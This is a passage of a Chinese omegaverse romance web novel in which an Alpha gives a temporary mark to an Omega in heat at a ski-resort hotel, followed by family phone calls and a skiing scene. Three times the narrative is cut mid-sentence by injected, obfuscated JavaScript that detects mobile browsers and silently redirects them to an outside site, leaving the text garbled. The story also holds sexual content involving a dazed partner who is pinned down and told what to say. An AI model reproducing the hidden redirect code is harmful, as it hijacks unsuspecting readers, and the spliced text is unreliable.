“过来点儿。”Alpha站在床边,笑脸盈盈问,“你想躲到哪儿去?” 商随身上的浴袍被弄得散开,露出大片肌肤。他对此毫不在意,好整以暇打量床上蜷缩的人。 时绮在他的注视下一阵晕眩,身体里的燥热又一次席卷而来。 他哦了一声,意识恍惚间,慢吞吞朝商随爬了过来。 太可爱了。 好想吻他。 有那么一瞬间,商随甚至希望他晕得更彻底一点儿,这样就可以仗着时绮不知道为所欲为。 他实在克制不住,抬手握住雪白纤细的脚踝,不知不觉用了些力气往下一拽。 “唔……!” 时绮像是摔倒的小海豹,笨拙地扑腾了两下。等待已久的Alpha覆了上来,甜蜜馥郁的香气将时绮笼罩其中。 他被商随的信息素吸引,身体越来越热,意识慢半拍回笼,才觉得对方像小山一样压得他喘不过气。根本逃不开。 好重…… 商随怎么会这么重! 而且对方还有一只手撑在床上,根本没有全部压上来。 商随低头看他,后颈零碎的狼尾随之垂落。Alpha腰腹的肌肉紧实,清晰深刻的线条犹如挑不出瑕疵的雕塑。 时绮慌乱之下移开视线,却又一次撞见他锁骨处美丽的蝴蝶。 “要摸吗?”商随忽然问,“你好像一直在看这里。” 他边说边抓住时绮的手,贴上自己的锁骨。 随着商随的每一次呼吸,那一串蝴蝶纹身振翅欲飞,仿佛鲜活到融化的生命。 手指下的肌肤温热又细腻,被流水一般的灯光浸透。因为亲密无间的距离,每一寸肌理都纤毫毕现。 时绮着魔地看着他。 好漂亮…… 不管哪里都漂亮。 或许是彻底被烧昏了头,在商随松开手后,时绮的手指鬼使神差向下。 偏偏商随“嗯?”了一声,语气轻佻地问:“怎么还趁机占我便宜啊,宝宝。” 时绮如梦初醒,整个人似被毒蝎子蛰了一下,飞速缩回手。 压在身上的Alpha发出一阵愉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14954999|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悦的笑声,怎么看怎么不怀好意,连同那个亲昵的称谓也像在笑话人。 “……” 想到稍后还要商随帮忙,即使这人贱嗖嗖的,时绮也只能忍住踹他一脚的冲动。 而且他摸一下怎么了? 因为跳舞,他也有腹肌,他还有人鱼线呢。林言每次看了都眼馋,上手摸过无数次。 时绮不顾脸上的燥热,假装平静道:“你也可以摸回来。” “那我不客气了。” 商随说完,按住他的腰。 时绮进酒店后还没来得及换衣服,只脱掉了外套。他穿着白色的卫衣套装,衣摆轻而易举被撩起。 感觉到修长灵活的手像蛇一样钻了进来,时绮顿时受不了:“你别碰那,好痒——” 不等时绮扭着腰躲开,商随略微起身,将他翻了个面。 他单手按住时绮的后脑,趁着对方还没反应过来,直接咬上早就发烫的腺体。 热成这样,也亏时绮能强撑着跟他闹腾这么久。 “——呜!” 时绮一瞬间睁大眼睛,浑身紧绷,脑海中只剩下求救。 救、救命……! 似乎怕他窒息过去,商随没再按着他,转而摸到他的脖子,半强迫地勾起时绮的下巴,帮助他呼吸。 在信息素注入进来时,时绮的手指情不自禁在床上乱抓,最后颤颤巍巍攥紧了床单。 他深灰色的眼睛逐渐失去焦距,甚至泛起些许湿意。 咚咚、咚咚咚—— 门外突然有人敲门,林言焦急的声音传了进来:“商随?我听秦书赫说你们在里面,时绮的状况好像不对劲!” 半天没有等到回应,林言敲门的动作越来越急躁:“时绮?时绮你还好吗——” 啊,真是……! 商随勉强控制自己,硬生生压下被打断的火气。 他烦躁地捋了一把头发,露出光洁的额头,略长的发丝很快重新垂下,半遮住眼。 商随解开自己的手机,拨通林言的电话。他起身时不忘安抚性地揉了揉时绮的脑袋,接通以后,将手机放到神志不清的Omega耳边。 “来,跟你朋友通电话。” “说你没事,让他离开。” 时绮浑身都在发抖,根本没有思考的力气,只能听从商随的要求。 “我没事——” 他的头埋在床上,不自觉发出轻微的哼声,像是无法反抗的啜泣。 Alpha的信息素注入身体,即使还未完成标记,连骨头都被侵蚀的滋味令饱受热潮折磨的时绮如同置身云端,比起疼痛,更多是精神都仿佛溶解的舒适。 林言从电话接通的一瞬间就握紧了手机,听见时绮的声音,更是呆在门外。 他在楼下待了半天,始终没看见时绮的影子。随口问了一句,才知道秦书赫这个鬼才居然把发情期的时绮送去了商随的房间。 他是唯一一个知晓他俩真正关系的人,不管秦书赫在他背后叫着“你别操心了!我估计他俩现在都已经床头吵架床尾和!”,匆匆忙忙跑了回来。 “我操!你们这是……?” 想起秦书赫那句见鬼的床头吵架床尾和,林言没绷住:“我靠!” 但他很快反应过来,没有比这更好的办法了。 两次发情期间隔这么短,一定异常猛烈。他都担心时绮一个人解决不了,最后送到医院去。 林言最后哽咽道:“……记得戴套。” 一直没说话的商随在这时接过手机:“别担心,我会好好照顾他的。” 有意无意的,商随说话时加重了好好两个字。 林言手一抖,听成了好好艹他。 “……通完电话了?”时绮听见挂电话的动静,不甚清醒地转过头,睨眼看商随。 他深灰色的眼眸湿漉漉的,眼底光华流转。像是矜贵貌美的猫咪,还在等待爱抚。 “对,做得好。” 商随夸赞了一句他刚才的表现,将手机扔到一边。 他按住时绮还攥着床单的手,手指一根根挤了进去,居高临下笑了笑:“我们继续。” 18.狼狈 像是为了给备受煎熬的Omega一些甜头,商随将手伸到时绮面前,指尖萦绕着蜂蜜的甜味。 Alpha骨节修长、关节透出淡粉色的手指如同某种美味诱人的甜点,时绮情不自禁贴近,烧得迷迷糊糊的大脑受到蛊惑。 他探出舌尖,顺从内心舔了一下商随的指腹。 两人同时一愣。 回过神来,意识到自己干了什么好事,时绮表情逐渐变化。 就算信息素是甜甜的味道,他怎么能真的把商随当成吃的! 可是,吃起来好像还不错…… 脑子真烧糊涂了吧,自己都在想什么啊? 身后倏然传来一声轻笑。 “你很饿吗?” 不等时绮回应,商随俯身,再次咬上时绮的后颈。 怎么又这样……! 一点儿都不给准备时间,前一秒还在好好说话,下一秒就翻脸似的咬人。 时绮的手指在床上难耐地抓挠,双腿乱蹬。这个举动似乎刺激到了Alpha,纤瘦的手腕被紧紧圈住。 不等时绮反抗,另一只手也被抓住。 商随如同摆弄小玩偶似的,单手握住他的双腕,举过头顶。将颤抖的双臂压进枕头。 标记的动作并未停下。信息素注入身体的感受令四肢百骸宛如过电。 时绮从喉咙里挤出崩溃的泣音,突然开始不管不顾挣扎,纤细的手腕相互磨蹭,却无法撼动Alpha镣铐似的大手。 “放开……放开我!” 此时此刻,时绮无比想挠东西,随便什么都好。他承受不住,只想发泄。 商随对他的叫喊置若罔闻。大概正是看出他喜欢磨爪子的坏习惯,才会这样将他锢住。 意识到自己完全挣脱不开,时绮惊骇地瞪大眼睛。 舞社里有好几个Alpha,之前大家掰手腕,时绮凭一己之力放倒所有人。大家心服口服,全部呈海豹列队式啪啪给他鼓掌。 明明其他的Alpha他都能掰过,到了商随这里,他却连动都没法动一下。 不行、要……要无法呼吸了。 不知道是被Alpha标记本就如此,还是商随令他感到格外危险,时绮几乎有了轻微窒息的感受。 明明商随没有伤害他,可他为什么会浑身战栗? 就好像连灵魂都被打上属于另一个人的烙印,看不见的锁链缠绕四肢,将他拖进深渊,再也无法逃脱。 不对,他好像又……! Alpha尖锐的犬齿刺穿皮肤,注入最后一点信息素。 时绮眼球微微上翻,彻底失去反抗的心思,挣扎的手腕也无力垂落。 伴随完成的标记,取而代之的是强烈的满足。 那种精神仿佛溶解的感受又一次包裹上来,全身如同浸在暖洋洋的水流里。 等时绮再有意识的时候,他才迟钝地发现,自己已经流下了眼泪。 怎么会,这么丢人。 他甚至还、还在标记过程中…… 空气中浓郁的花香味仿佛生机盎然的春日,昭示着浑身乱糟糟的Omega干了什么。商随看着他通红的眼眶,时绮似乎无法接受自己就这么在标记时交代了,突然发出一声呜咽。 商随哑然片刻,失笑道:“怎么这么可怜啊。” 时绮看起来同样无法承受标记带来的影响,已然神志不清,下意识想把自己蜷缩起来,藏起乱七八糟的“罪证”。 商随看他哭,也不好再压着他,不动声色曲起腿坐在床上。 怕时绮一会儿呼吸不畅,他伸手将人捞起来,轻轻拍他的背。 他的信息素和一般Alpha不同。按理说来,临时标记完成后Omega就能恢复理智。 但他的信息素太过霸道,时绮现在可能比先前还要意识不清,更大程度受到本能支配,才会控制不好情绪。 “好了好了,没事的。” “标记已经完成了,再过一会儿你就能渐渐恢复,头也不会晕了。”商随哄着他,“这都是很正常的事情,不用难受。” 眼泪朦胧中,时绮听着耳边耐心的安慰,越看商随,越觉得他现在游刃有余的模样令人不满。 他也想看商随哭。 最好哭得稀里哗啦,大家一样丢人。 带着某种泄愤似的念头,他突然凑过来,一口咬住Alpha白皙的脖颈。 商随愣了一下,没想到时绮会突然爆发。 下一秒,商随反而笑了起来。他笑得胸腔都微微颤抖,好像很开心。 时绮被他笑得愣住,茫然地松开牙齿,退后看他。 即使现在不太清醒,时绮也还记得,Alpha天生具有极强的侵略意识,十分厌恶被人触碰腺体,更别说挑衅一样啃咬。 除了认定的伴侣以外,谁敢碰他们的腺体,无异于在太岁头上动土。 商随这是被他咬了一口,不怒反笑,气疯了吗? 时绮一向敢作敢当,此刻面对捉摸不透的商随,也觉得有些渗人。 “我不是故意的,”时绮缺乏底气地解释,“刚才看见你就牙痒……” “差点忘了,我们小绮很有脾气。”商随开口时,眼里还带着零碎的笑意,“我的腺体在这边,靠左一点。” 他配合地侧过脖子,主动撩起偏长的头发,露出光滑的后颈,大哥哥一样教导时绮:“来,朝这里使劲咬。” 像商随这种教人用力咬自己腺体的Alpha,大概只可能是疯子。 可时绮舔了舔唇,还没清醒的脑袋已经不够分析利害,最终没能抵抗诱惑。 之前商随的手指尝起来甜甜的,如果是腺体的话,应该更好吃吧? 毕竟那里的气味格外浓郁,像可口的蜂蜜蛋糕。 时绮眼神迷离地拱了过来,虎牙贴上肌肤,准确咬中商随的腺体。 即使知道咬人的是时绮,商随的身体条件反射紧绷,一瞬间做好了回击的准备。 和他相贴的Omega散发着清新灵动的香气,仿若山谷盛放的花。 商随在时绮的信息素里压制下暴戾的本能,身体逐渐放松。 想到商随让他使劲咬,时绮如他所愿加重力道,引得Alpha发出了一声叫。 他的声音本来就带着沙沙的质感,此刻还透着勾人的颤音。 时绮被叫得骨头一酥,下意识用双手抓住他的肩膀。 “对……就是这样。”商随轻哼一声,唇角笑意加深,“这么会咬,好厉害啊。” 嬉皮笑脸干嘛呢。 还叫得那么……放荡。 时绮很不高兴,咬得更用力。齿尖刺破皮肤,尝到了些许血腥气。 奇怪,商随怎么连血都是甜的? 血液里浓郁的信息素进一步加重晕眩,时绮最后意犹未尽舔了舔他的脖颈,松口时,终于说出心里话。 “你凭什么不受影响?” 与他的狼狈和难以自持相比,商随好像跟没事人一样。 这种落差令时绮焦躁不已,十分希望他和自己一样狼狈,除了大家一起丢脸、丢脸就不算丢脸外,还有潜藏在内心深处的失落。 就好像……他对商随没什么吸引力。 即使他变成这样,对方也能不为所动。 “我不受影响?” 商随低声重复一遍。被死死遏制的欲念终于在时绮的折腾下开了一道口,稍不注意,就会冲破束缚。 时绮还来不及反应,Alpha贴了上来。 一直被有意藏起来的地方戳着他,隔着衣服,也能感觉到惊人的份量。 “你把我当什么,圣人?”商随声音加重,气息也略显不稳,“我当然会受影响。” 看着彻底呆滞的时绮,商随再一次道:“我说了,这是很正常的事情。” 按理来说,特殊易感期的Alpha并不受Omega的信息素影响。 许多年前,曾有偏激的学者提出特殊易感期的Alpha高人一等,与无法感知信息素的Beta不同,拥有特易期的Alpha才是真正掌控信息素、进化完全的物种。 他们拥有更为强悍的身体素质,能以信息素压制其他性别,本身却不受束缚,即使Omega发情也能冷眼旁观。 这种涉及歧视的言论很快在消失在谩骂之中。商随对此没什么看法,但在身边其他人对信息素引发的骚乱避之不及时,他的确从未有过被Omega信息素勾得头昏脑涨、只剩生理欲望驱使的滋味。 可时绮的味道对他来说充满了致命的诱惑力,明明是溪水一样清澈的香味,却勾得各类诡异的念头蠢蠢欲动。如果放任自流,他没法确定自己还能保持正常。 必须暂时跟时绮分开。 不然他都无法预测,他会做出什么。 时绮似乎被吓住,商随逼自己闭了闭眼,往后退开。 细汗从额头流下,他用手背擦掉,再说话时,声音透出喑哑:“脏的地方,先拿纸擦一擦。” “想不想洗澡?” 时绮摇摇头,他现在浑身都提不起劲,进了浴室,可能会直接晕过去。 “行李箱在那边,看见了吗?” “我要去洗澡。你不舒服的话,可以先把衣服换一换。” 商随见他不说话,补充道:“如果不想动,就在床上躺一会儿,等我回来。” 大概是看出他状态不好,时绮这回乖乖点了头。 担心时绮一个人出什么问题,他强压着自己交代完,才起身去了浴室。 除了淋浴间,房间里还有一个半露天的圆形浴池,四面都有束起的纱幔。 商随路过时想到时绮待会儿可能会想洗一洗,顺手给浴池放了水,拉下最外侧的帘子。 时绮一个人待了一会儿,隐约听见淋浴间里传来水流声。 他先是擦掉身上的脏东西,实在受不了,起身下床。 他依旧昏昏沉沉,却并不难受。与先前那种灼烧似的感受不同,全身仿佛泡在适宜的温水里,每一根骨头舒展 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14964761|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开来,整个人都透出慵懒的气息。 时绮还有些腿软,走到商随摊开的行李箱边,想找一件干净的衣服换上。 行李箱里放着首饰袋,另外一边则是衣服。还有Alpha用的阻隔剂、抑制剂,一个素描本和简单的画具。 商随怎么带这么多衣服首饰,他是要来雪山走秀吗? 对了,商随的项链还在他这,要找个机会还回去。 时绮很快看见一件宽大的黑色衬衫。行李箱里其他的衣服都很陌生,但这一件,他前几天看商随穿过。 对方当时搭配了银绿交织的长领带,却并没有系好,而是松松垮垮、像装饰一样垂着。 时绮毫不犹豫伸出手,将衬衫扯出来,同时脱掉自己身上所有的脏衣服。 他还想换裤子,比划了一下,发现对自己来说尺码太大,没法穿。 就这样吧,反正衣服已经很大了。 身上的衬衫散发淡淡的洋苏草香气,令人联想到夏日的海洋。应该是洗衣液的味道。 换完干净的衣服,时绮心情轻快不少。 可透过脖颈后的标记,他能感觉到房间里另一个人此刻并不愉快,甚至称得上心烦意乱。 时绮迟疑片刻,想去找他。 不仅想看看商随现在怎么样、遇见了什么麻烦,还因为临时标记,他下意识对给予标记的Alpha无比依赖。 时绮慢腾腾走到淋浴间外面,顺从心意敲了敲门:“商随?” 里面的人没有回应,时绮又敲了一次。 浴室门毫无征兆从里拉开,时绮险些和他撞上。 商随下身裹着浴巾,浑身湿漉漉,长长的头发披散在肩膀,眼神却锐利无比,透出被打断后即将爆发的阴郁。 他脸上还在滴水,水珠一路从脖颈蔓延至胸膛,肩线又宽又直,每一寸充满力量感的肌肉都恰到好处。 时绮脸上一热,顿时福至心灵,觉得他确实该在这儿走秀。 “你,有,什,么,事。” 商随每一个字都像从牙缝里挤出来的。 压迫感太过强烈,时绮不由得磕绊了一下:“我、我想……” 商随这才注意到,时绮换上了他的衣服。似乎嫌大,只穿了这一件。 他的动态视力很好,敏锐地瞥见时绮腿上有颗小小的胭脂痣。 童话故事里,上岸的人鱼获得了新生的美丽双腿。 时绮的腿线条流畅、骨肉均匀,也像小人鱼似的,仿佛一辈子没走过路。 真是…… 要疯了。 偏偏在这个时候。 时绮看着他的脸色,犹豫道:“你好像不舒服,我想帮你。” 释放信息素的话,商随会舒服一点吧? 虽然不知道商随究竟怎么了,但他们匹配度很高,自己的信息素应该能起到安抚作用,让商随心情好一些。 三番四次被时绮折腾,商随的眼神彻底暗了下来。 “你帮我?”他将手插进自己湿润的头发里,抓了一把,压着声音问,“什么都愿意帮我吗?” 如果今天只有他一个人,说不定得直接从雪山拉去医院。 商随帮了他这么大的忙。时绮想也不想,点了点头。 见他答应,Alpha抽过盥洗台上深黑的眼罩,塞进时绮手里。 商随微微昂起下巴,示意放满温水的浴池。 “想帮我的话,去里面待着,把眼罩戴上。” “不用说话,也不用做别的。” 这个要求有些奇怪。时绮按照他说的进了浴池,坐下后戴好眼罩,实在想不通自己究竟能帮上什么忙。 时绮白金色的头发略微凌乱,脸颊还泛着红晕。 他穿衣服没什么耐心,衬衫都扣错了扣子,最上面那颗直接没有扣,露出右侧大片的锁骨。深黑的衬衫衬得肤白如雪。 酒店的眼罩对时绮来说太大了,大半张脸都被遮住,只露出挺翘秀气的鼻尖,和才舔过鲜血、还泛着艳红的双唇。 商随站在原地,一眨不眨注视着他,眸光因为兴奋而微微发亮。 眼罩密不透光,时绮只能听见一些不清不楚的动静,和Alpha轻微的哼声。 商随到底在做什么? 是不是觉得他根本帮不上忙,所以干脆让他戴个眼罩老实点儿,待一边凉快去了? 时绮越想越觉得有道理,感觉自己被小看了。 但在浴池里泡久了,全身上下都很舒服,水温也刚好合适。 眼罩更是让他昏昏欲睡,有种半梦半醒的舒适。 时绮决定不跟他计较,商随不要帮忙就不要吧。 不知过去多久,时绮动了动鼻尖,忽然嗅到浓郁的蜂蜜气息。 他从来没闻过这么香的味道,就像掉进蜜罐子里。 “商随?”时绮忍不住问,“你还在吗?” 一瞬间,香味变得更浓重。 好甜。 时绮下意识微微张开嘴,又一次感到饥饿。 19.造谣 “你在干什么?” 时绮又问了一次。 半天没有等到回应,时绮忍不住想摘下眼罩。 刚抬起手,便听见略显沉闷、透出丝丝餍足的声音:“……别摘。” 时绮的耳朵仿佛被烫了一下,手也停在半空。 那两个字像小勾子似的,放在水里的脚趾不由自主蜷缩。时绮如商随所言一动不动。 总感觉商随有点儿奇怪…… 又过了许久,在时绮都快失去耐心时,听见有人走到他身边:“好了,起来吧。” 对方蹲下来,轻轻替他摘掉眼罩。 商随重新换了一件睡袍,应该是他自己的衣服,暗蓝色的丝质面料衬得Alpha肤色冷白。取眼罩时两人距离极近,时绮注意他眼下带着轻微的晕红,左眼眼尾有一颗淡褐色的小痣。 商随居然有泪痣,以前都没发现。 时绮看得入迷,有那么一瞬间,几乎想伸手摸一摸。 反应过来,他在心里啧了一声。 是因为信息素吧?匹配度太高容易受影响,稍不注意就会想和商随亲近。 “冷不冷?”说话的同时,商随扯过旁边的浴巾。 浴池是恒温的,不然在里面泡这么久,时绮估计自己都得感冒。 他摇摇头,从池子里站了起来。 衬衫湿透的下摆紧贴雪白的大腿。商随又一次瞥见那颗胭脂痣,脑海中不禁闪过一幕幕令人心猿意马的画面。 快弄完的时候,他看见时绮张了一下嘴,像是想吞东西。 和他相比,时绮从头到脚都要小几个号,张嘴时舌尖也小小的。 嗓子眼应该也很小,很容易灌满。 …… 商随不动声色掰了一下手指,逼迫自己刹车。 面对时绮无知无觉的脸,再想下去,他都觉得自己有点变态了。 他用浴巾将时绮湿淋淋的身体裹住,后者站在原地没动,对被服务适应良好。 “床上有干净的衣服,你去换吧,换好了叫我。” 时绮应了一声,没觉得商随这样细心有什么不对。 家里人都很宠着他,他对被人照顾习以为常。 离开之前,时绮注意到淋浴间门口有一条浴巾,看着是胡乱丢下去的,仿佛为掩盖什么。 商随是怕走路滑倒,所以扔了一条浴巾吗? 总感觉那边好香…… 时绮摇摇脑袋,把这个没头没尾的想法丢出去。 床上放着一套休闲的卫衣套装。裤管又大又长,需要挽起来,腰也不合适,不过使劲拉一拉腰上的抽绳还是能穿。 但这套卫衣是粉色的水洗牛仔材质,上面还有喷涂的荧光花纹。 时绮沉默三秒,选择接受。 算了。 他刚才能从商随的行李箱里找出一件黑衬衫,已经耗尽寻宝的运气。 时绮脱掉几乎湿透的衬衫,想了想,又把自己的脏衣服和这件湿衬衫一同抱起来,准备带回去洗干净。 “我好了。”他对阳台的方向说。 商随一进来就看见他抱着一大堆衣服,如同松鼠抱松果。 “你笑什么?”时绮问。 “没什么。”商随笑眯眯地回答。 “……”好想打他。 时绮的房间在上面一层楼,商随把他送了回去。临走前,商随看他脸上的潮红已经退去,想来发情期的影响正逐渐消散。 “如果晚上有什么不舒服,给我发消息。” “好,谢谢你帮我。”时绮犹豫片刻,望向他的眼睛,“晚安。” 商随脸上带着笑,回应道:“晚安,小绮。” 关上门以后,时绮把衣服往沙发一丢,蹬掉拖鞋倒在床上。 他渐渐清醒过来,不再像先前一样晕晕乎乎,一想到自己跟商随做了什么,时绮脸上烧得厉害。不由自主伸出手,摸了摸自己脖子后面那一块。 注入信息素时的快感麻痹了疼痛,那里被咬破了血,留下两个暗红色的小点,摸起来是一个相当对称的咬痕。 时绮划开手机,从联系人里找到商随。 17:[谢谢你的衣服,我洗干净再还你。] 商随大概正在下楼,回得很快。 Ss:[你给我洗衣服?真的?] 只是洗个衣服,那还能有假吗? 17:[酒店有洗衣房。] 时绮下床仔细看了看,商随的衬衫带着暗纹,他身上这件卫衣还有磨边,都不像可以机洗的材质。 17:[你的衣服能机洗吗?不能我带回去干洗。] Ss:[丢洗衣机吧,记得亲手丢哦^^] 17:[哦,那好。] 问完时绮想到什么,顺便把上一次舞蹈比赛商随借给他的项链翻出来,拍了一张照片。 他拍了拍姜宥宁。时间接近凌晨,正是她精神抖擞的时候,那边也很快拍了拍他。 时绮把项链的照片发过去。 17:[姐姐,你认识这个吗,大概多少钱?] 姜宥宁:[我有个类似的款,二十万吧。] 姜宥宁:[这是谁的项链?你男朋友?] 时绮呆了一下。 他一直以为商随家庭条件不太好,才去绘涧工作。但接触了一段时间,无论是从商随送他的回礼、还是日常作风来看,都跟家庭条件不好不沾边。 他之前还看见商随从一辆迈巴赫上下来,似乎是司机在接送他。 时绮当时没多想,这会儿却感觉有些落差。 有种一直投喂的流浪猫,突然发现它自己就能掉金粉的……惊讶? 转念一想,商随从没说过自己没钱。不管家庭条件好不好,商随还是商随。 确定了这点,时绮觉得他去绘涧打工也没什么,说不定是临时做个兼职寻找灵感呢?艺术家有点奇奇怪怪的癖好很正常吧。 时绮就这么说服了自己。姜宥宁见他一直没回复,又问:[你俩最近怎么样?] 时绮想了想,跑到浴室对着镜子,拍了一下自己脖颈上的咬痕。 17:[刚做了个临时标记。] 姜宥宁给他发了一长串问号,而后道:[对不起宝宝,我要去通风报信了。] 不等时绮谴责她,姜宥宁风急火燎:[报!小安爸爸听完晕了过去。] 姜宥宁:[现在又醒了,正在掐人中。] 姜宥宁:[他问你们戴套没,不行了,他在我旁边叫得好厉害。] 不等时绮回复,时安的视频电话砸了过来。 姜宥宁和时安两张脸凑在一个屏幕里,背后还有西装革履、看起来才回家没多久的姜礼,嘴里念叨着“小绮已经长大了,你们不要什么都问,给人家留一点隐私”。可惜没人理他。 时安:“戴了吗?!你们才认识多久,他怎么能把你拐上床——” 时绮:“就咬了一下。” 时安似乎理解错意思,声音猛地变调:“咬了一下?!他…他居然让你帮他……!” 对比大惊小怪的时安,姜宥宁要淡定得多:“这也不是什么大事吧,都什么年代了。而且您不是一直想小绮找对象吗?” 时安:“那能一样吗?他俩认识才一个月就敢做标记,下个月是不是要瞒着我们把证扯了啊?” 时绮关键时刻不忘强调剧本:“是重逢,以前就认识。” 他说完疑惑地问:“而且你们在说什么啊,就是用嘴咬了一下脖子,临时标记。” 教科书上的临时标记不就是咬脖子吗? 这回大惊小怪的成了姜宥宁:“你是说你们在一个房间、一张床上,他最后只咬了一下你的脖子?” 时绮:“嗯。” 姜宥宁和时安对视一眼,时安欲言又止,姜宥宁直言不讳:“你男朋友是不是性无能?哪有成年人确认关系后临时标记就只咬脖子的?” “我绝对不会这样。”她说完回头看向姜礼,寻求认同,“您说是吧老爸?我们Alpha哪有这样的!” 姜礼实在挤不进屏幕,只能在后面说话,温文尔雅的声音透出一丝不赞同:“小绮,这个……你男朋友会不会有一些隐私方面的问题?” 时绮犹如被踩了尾巴的猫,瞬间炸毛:“没有!” 时安冷笑一声:“你怎么知道?” “因为我……我被顶到了。” 时绮为了维护商随的清誉,强调道:“他很大!特别大!还很健康!” “………………” 房间陷入死一般的寂静。 时绮脸一红,火速挂掉电话:“拜拜!睡了!晚安!” 心脏怦怦直跳,半晌过后,脸上还没退烧。 时绮忍不住低声骂了一句。 靠,这都什么事。 - 或许是睡前这通电话太过惊人,时绮当晚辗转反侧,迟迟没能入眠。 一直到起床吃过早餐,准备坐缆车去山顶滑雪,时绮都还在犯困。 上山时他跟林言坐在一个吊箱里,脚下是银装素裹的雪地。林言看着他后颈深深的咬痕,不免关心道:“你们昨晚怎么样?” 时绮常年作息颠倒,却不长黑眼圈、也不浮肿,一般情况下都看不出他熬了夜。 但他现在浑身散发颓靡的气质,眼神迷离,时不时就在打哈欠。 能把时绮累成这样,那得多激烈啊? 半梦半醒间,时绮害怕昨晚的场面再次降临,强调道:“商随没问题,很健康。” 林言一听,更是心惊胆战:“那……你被他灌成泡芙了?” “……”什么玩意儿? 下一秒时绮如梦初醒,耳根一热,告诉他商随只帮忙做了个临时标记。 本以为林言会夸赞商随靠谱,想不到对方听完一反常态沉默。 昨晚商随表现得那么炸裂,林言一度以为时绮会被艹死在床上,最后居然只做了个临时标记。 林言忍不住嘀咕:“这都不上,他不会心理变态吧。” “什么?”时绮没听清楚。 缆车到达目的地,两人匆匆下来。 他们后一间吊箱里坐的是商随和秦书赫,林言见他俩一边说话一边走过来,又觉得不至于。 哪有长这么好看的变态。 他知道一些Alpha义工会帮忙做单纯的临时标记,还有部分Omega不愿使用抑制剂、专门花钱找Alpha渡过难关。不管怎么说,这类情况不算特例。 商随应该只是人很好,跟时绮关系近。 想到这里,林言感慨:“他对你的这份恩情,如同再造。” “我知道。”时绮下定决心,“必要的时候,我会替他挡子弹的。” “……那应该也不会有如此战火纷飞的时候。” 时绮注意到商随今天将头发扎了起来,在脑后绑了一个小揪揪。 这个新发型令他面部轮廓更清晰,细碎的刘海衬得眉骨与下颌线都格外锋利,时绮忍不住多看了几眼。 不对。 这么扎起头发,商随脖子后面的牙印不就露出来了? 时绮看见他后颈处与自己相差不大的咬痕,仿佛两人昨晚乱搞的罪证,一时间十分心虚。 如果有人问起,商随应该会说是虫咬的吧。 毕竟一个Alpha被Omega咬腺体,传出去也太丢人了。 秦书赫突然注意到什么:“哥你脖子上……” 商随假装不经意:“小绮咬的。” 时绮原本还有点迷糊,闻言扭过头:“?” 秦书赫补完后半句:“——这项链还挺好看。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975502|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他反应须臾,慢半拍道:“哦,原来是时绮咬的……啊???” 时绮同样一脸震惊,不敢相信他就这么说出来了。 商随不知道丢人两个字怎么写吗?? 秦书赫看看这个,又看看那个,最后面露钦佩:“你们……昨晚玩挺花的哈。” 时绮忍了又忍,实在忍不住。 在换雪服的时候,他终于开口:“你今天为什么要扎头发?” “怎么了?不好看吗。”商随无辜道,“滑雪不方便。” “……哦。” 这个理由太过正当,时绮瞬间失去一切找茬的气势,只能补了一句:“挺好看的。” 初桃在这时跑过来问:“你们滑单板还是双板?” 时绮双手插兜,酷酷地回答:“单板。” 林言很了解他:“单板比较帅,就凭这个,我们宝宝会滑一辈子单板。” 时绮看她似乎很纠结:“你没滑过的话,可以先滑双板。” 有人帮忙做出选择,初桃顿时获救:“听皇上的。” 时绮:“你再绑个小乌龟。” 初桃:“遵旨。” 初桃注意到什么,突然睁大眼睛:“哇随哥,你脖子上面……” 商随冲她一笑:“是小绮给我——” 时绮受不了他如此放浪,转身一把捂住他的嘴:“你给我闭嘴!” 商随这种恨不得让全世界知晓的架势太过没皮没脸,时绮一时半会找不到恰当的制止方式,只能贴着他小声警告:“家丑不可外扬,你懂不懂?” 商随比他高很多,时绮要踮起脚才能够着他。 不知道哪句话取悦到了Alpha,商随弯起眼睛点点头,眼角的泪痣好似染上笑意。 时绮感觉周围传来道道灼热的视线,松手转过身,发现所有人都在看他们,连工作人员都在偷笑。 时绮:“……” 算了,就这样吧。 小重山的雪场分为绿道、蓝道和黑-道。黑-道需要再坐一段缆车,上到雪场的最高处。 时绮和林言每年冬天都要滑雪,自带了常用的滑雪板和雪服。 刚开始时绮还有些生疏,很快就找到熟悉的节奏,他从山顶一路冲下来,巧妙避开人群和障碍,经过弯道短暂悬空时如同轻盈的飞鸟。 滑到三分之二处,时绮停下,想看看其他人怎么样。 大家都还在适应,只有个别熟练的从山顶向下俯冲。商随一路下滑,遇见障碍物没有像一般人那样绕过去,而是后脚压板尾腾空,做了一个非常流畅的Ollie。 真帅啊。 时绮在心里赞叹。 商随也是自带的单板,看见他站在原地没动,很有技巧地通过连续转弯放慢速度,两人的雪板慢悠悠撞在一起。 